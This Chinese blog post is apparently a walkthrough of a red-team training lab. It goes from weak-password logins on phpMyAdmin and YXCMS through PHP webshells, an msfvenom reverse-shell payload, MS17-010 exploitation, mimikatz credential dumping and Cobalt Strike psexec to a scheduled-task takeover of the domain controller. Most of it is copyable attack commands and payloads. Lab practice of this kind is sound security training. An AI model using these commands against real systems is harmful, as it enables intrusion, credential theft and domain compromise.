当前位置:   article > 正文

ATT&CK红队评估(一)

ATT&CK红队评估(一)

ATT&CK红队评估(一)
image.png

WEB服务器 初探

对目标主机进行扫描探测
image.png
给出的信息 存在80端口 3306 数据库端口
先去访问他的80 端口查看是什么

phpstudy探针

image.png
给出了绝对路径信息, C:/phpStudy/WWW
翻到最下面
image.png
存在用户名 ,密码 尝试使用弱口令

root root
root 123456
admin admin 
admin 123456
......
  • 1
  • 2
  • 3
  • 4
  • 5

使用 root root
image.png
连接到数据库正常 ,说明用户名密码没有错。
对目录进行扫描

目录扫描

image.png

phpmyadmin

基本上都是phpmyadmin 的目录
刚好前面经过弱口令测试 得到数据库登录密码
image.png
使用弱口令登录
image.png
登录之后查看数据库版本,数据库信息
image.png
数据库版本信息

Server: localhost via TCP/IP
Software: MySQL
Software version: 5.5.53 - MySQL Community Server (GPL)
Protocol version: 10
User: root@localhost
Server charset: UTF-8 Unicode (utf8)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

先放着

YXCMS

还发现存在一个yxcms
image.png
找了找xycms 的后台地址

http://192.168.145.145/yxcms/index.php?r=admin/index/login

r 后面接的是地址
image.png
经过百度 ,Google 发现 xycms 存在弱口令 以及 写phpshell 的 漏洞
使用弱口令 登录

admin 123456
  • 1

image.png

写webshell

前台模版 --> 编辑php文件 —> 写shell
image.png
写简单的一句话
image.png

路径是存在于

yxcms/protected/apps/default/view/default/acomment.php

完整连接

http://192.168.145.145/yxcms/protected/apps/default/view/default/acomment.php

image.png
image.png
连接成功
image.png
ok,转过头来看 phpmyadmin

峰回路转再看phpmyadmin

再次登录 phpmyadmin
image.png
一般phpmyadmin 都是可以执行 sql语句的 所以可以直接使用select into outfile直接写入shell
phpmyadmin getshell 常用方法

1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
  • 1
  • 2
  • 3
  • 4
  • 5

先尝试 select into outfile
select into outfile写入shell,需要知道网站的绝对路径,比较容易失败。
使用 select @@basedir 报绝对路径 ,当然从探针哪里就可以看到绝对路径 ,基本都在phpstudy路径下面
写shell呢,就写在 www/ 下面
image.png
先查看是否有写入权限
image.png
如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。这里不允许修改 ,无法使用这个方法写shell
但这里还是把写shell的代码贴出来 ,

select load_file('C:/phpstudy/www/a.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/a.php';
  • 1
  • 2

使用全局变量写shell

检测全局变量(general_log、general_log file)

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。
SHOW VARIABLES LIKE 'general%'
  • 1

image.png
general_log默认关闭,以及日志的存储路径 。
全局日志开启并将保存日志的目录设为web目录

 set global general_log=on;# 开启日志
 
 set global general_log_file='C:/phpStudy/WWW/yxcms/rz.php';# 设置日志位置为网站目录
  • 1
  • 2
  • 3

再去查询
image.png
就会发现开启
现在执行 select’<?php eval($_POST[cmd]); ?>’ 语句就写入到 rz.php文件里面
image.png
去访问就好了,
image.png
image.png
成功连接shell

进入内网前的信息搜集

先查看IP地址
image.png
存在两张网卡

192.168.145.145 外网网卡
192.168.52.143  内网网卡
  • 1
  • 2

让他上线MSF或者CS
先生成一个木马上线MSF 提权到system

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130 LPORT=4444 -f exe > shell.exe
  • 1

image.png
上传shell
image.png运行上传的shell
image.png
设置监听
image.png
image.png
就反弹shell了
提权 –
使用最简的 getsystem试一试,因为他现在administrator 权限
image.png
这样就成功提权到system权限了

信息搜集

内网路由
image.png

meterpreter > run get_local_subnets 
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.52.0/255.255.255.0
Local subnet: 192.168.145.0/255.255.255.0
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

内网网段应该是192.168.52.0/24
添加前往 52网段的路由

 run autoroute  -s 192.168.52.0/24
  • 1

查看添加后的路由
image.png
基本的使用

run autoroute -p                  
–>查看域环境
use incognito                     
–>调用劫持域管理模块
list_tokens -u                     
–>查看当前目标主机的域环境信息
添加去往目标网段的转发路由
run autoroute –s <目标内网地址网段>
run autoroute -s 0.0.0.0/0 
添加到达0.0.0.0/0的路由
查看路由添加情况
run autoroute -p
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

ipconfig /all 查看ip 和是否存在域

image.png
存在 god.org 域的
查看路由信息
image.png
查看共享 net share
image.png
既然存在域查看域用户
image.png
查看主域

net time /domain

image.png
使用ping 查看 域控的IP地址
IP地址为 : 192.168.52.138
image.png
基本信息收集命令

 ipconfig /all   # 查看本机ip,所在域
 route print     # 打印路由信息
 net view        # 查看局域网内其他主机名
 arp -a          # 查看arp缓存
 net start       # 查看开启了哪些服务
 net share       # 查看开启了哪些共享
 net share ipc$  # 开启ipc共享
 net share c$    # 开启c盘共享
 net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
 net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
 dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件
 
 net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
 net user                 # 查看本机用户列表
 net user /domain         # 查看域用户
 net localgroup administrators    # 查看本地管理员组(通常会有域用户)
 net view /domain         # 查看有几个域
 net user 用户名 /domain   # 获取指定域用户的信息
 net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
 net group 组名 /domain    # 查看域中某工作组
 net group "domain admins" /domain  # 查看域管理员的名字
 net group "domain computers" /domain  # 查看域中的其他主机名
 net group "doamin controllers" /domain  # 查看域控制器(可能有多台)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

添加一个用户test到管理员组 到后面好进行远程连接
image.png
查看是否开启3389 端口
image.png
好像并没有开启3389
使用这条命令开启3389 端口

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  • 1

关闭防火墙

 run post/windows/manage/enable_rdp 
  • 1

rdesktop IP地址
image.png
远程也开启了 ,抓取一下密码
msf的hashdump 抓取失败了 还可以使用msf自带的模块进行抓取hansh

meterpreter > run post/windows/gather/smart_hashdump

上mimitakz
权限提升

privilege::debug
  • 1

image.png
抓取密码

sekurlsa::logonPasswords
  • 1

image.png
获取到Administrator的密码了
这台机子算完成了
最后再查看内网有哪些机子

for /L %I in (1,1,255) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL=" 
  • 1

由于这个很卡很慢不知道为啥,在这里

use post/windows/gather/arp_scanner 
set session 1
set rhosts 192.168.52.100-200
run
  • 1
  • 2
  • 3
  • 4

image.png
查看到3个ip地址
138 我们已经知道是域控主机了 ,

对141 主机下手 (横向移动)

对141 先进行探测
image.png
添加路由先

socks代理

先添加socks代理

use auxiliary/server/socks_proxy 
set SRVHOST  127.0.0.1
set SRVPORT 8888
set VERSION  4a
run
  • 1
  • 2
  • 3
  • 4
  • 5

image.png
添加代理
image.png
经过测试是可以正常返回内网的 ,一开始使用ping 进行 测试是否联通,但是没用,好像是不支持
image.png

假的 ms17_010 ?

探测是否存在 ms17_010

use auxiliary/scanner/smb/smb_ms17_010 
set rhost 192.168.52.141
run
  • 1
  • 2
  • 3

但是这里一直卡 卡 卡
image.png
扫描发现是存在受攻击的
但是使用攻击模块 一直不成功,发现超时还是其他另外有原因 (不清楚)
image.png
扫描3389 端口
image.png发现关闭的
使用use auxiliary/admin/smb/ms17_010_command 模块开启 3389
image.png
这个模块是可以执行命令的
再次扫描 验证是否有效果
image.png
发现3389 开启了

远程登录

添加一个test1 用户 然后添加到 管理员组
image.png
image.png
远程连接看看是否成功

 proxychains4 rdesktop 192.168.52.141

  • 1
  • 2

image.png

问题1

在我想使用exploit/windows/smb/ms17_010_psexec 弹shell 的时候弹不回来 测试不下20次 依旧反弹不了
这图是网上师傅的
image.png
我测试过了 我这边不知道啥问题一直到最后一步就断开了 哎

MSF派生CS

既然上一种方法行不通 ,那就换一种方法
创建一个Lisenter,相当于msf的handler
image.png
使用MSF的exploit/windows/local/payload_inject模块
image.png

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1235 #需要同CS监听端口一致
set session 1 #需要传入的session
set DisablePayloadHandler true 
run
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

上线
image.png
就简单提权 getsystem 也可以或者使用插件CVE 提权
image.png

shell netsh firewall show state  查询防火墙状态
shell netsh advfirewall set allprofiles state off  关闭防火墙
  • 1
  • 2

image.png
获取一些信息
image.png

域控

image.png
创建一个 smb 的监听
点击目标 Target
image.pngimage.png
使用psexec
image.png
选择刚才所创建的smb监听
image.png
然后选择带有session 的 那个
这里是全部做完之后再接截图的,所以全部都已经获取了system权限
这样就可以拿下域控了
image.png
域成员也是如此的
全部拿下
image.png

写任务计划拿域控

通过win7在域控上面上传一个msf马
image.png
存在文件共享的,我们也获取到了域控的密码,可以进行登录上传写计划任务

net use \\192.168.52.138\c$ "Admin@123" /user:"administrator"
  • 1

image.png

dir \\192.168.52.138\c$

  • 1
  • 2

image.png
将一开始的那个shell 传到 域控上面去

copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$
  • 1

image.png
设置一个任务计划,定时启动木马之后就能够获取域控的shell了

shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 2:04 /S 192.168.52.138 /RU System  /u administrator /p "Admin@123"
  • 1
总结:
第一次打内网的靶场,也是才学习内网,下午两点开始搭建环境到展开打靶的过程
带现在2:27 结束 (下午吃饭,这些时间不算)也有好久了 感觉
不太明白的地方就问题1  我测试了不下20多次 任然错误,就最后一步断开连接 ,真头疼
然后自己不熟悉的地方 还有很多,比如代理,内网穿透啊 ,各种上线啊,等等
这些还不太熟悉,太菜了 ,打一天了
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/爱喝兽奶帝天荒/article/detail/1019225
推荐阅读
相关标签
  

闽ICP备14008679号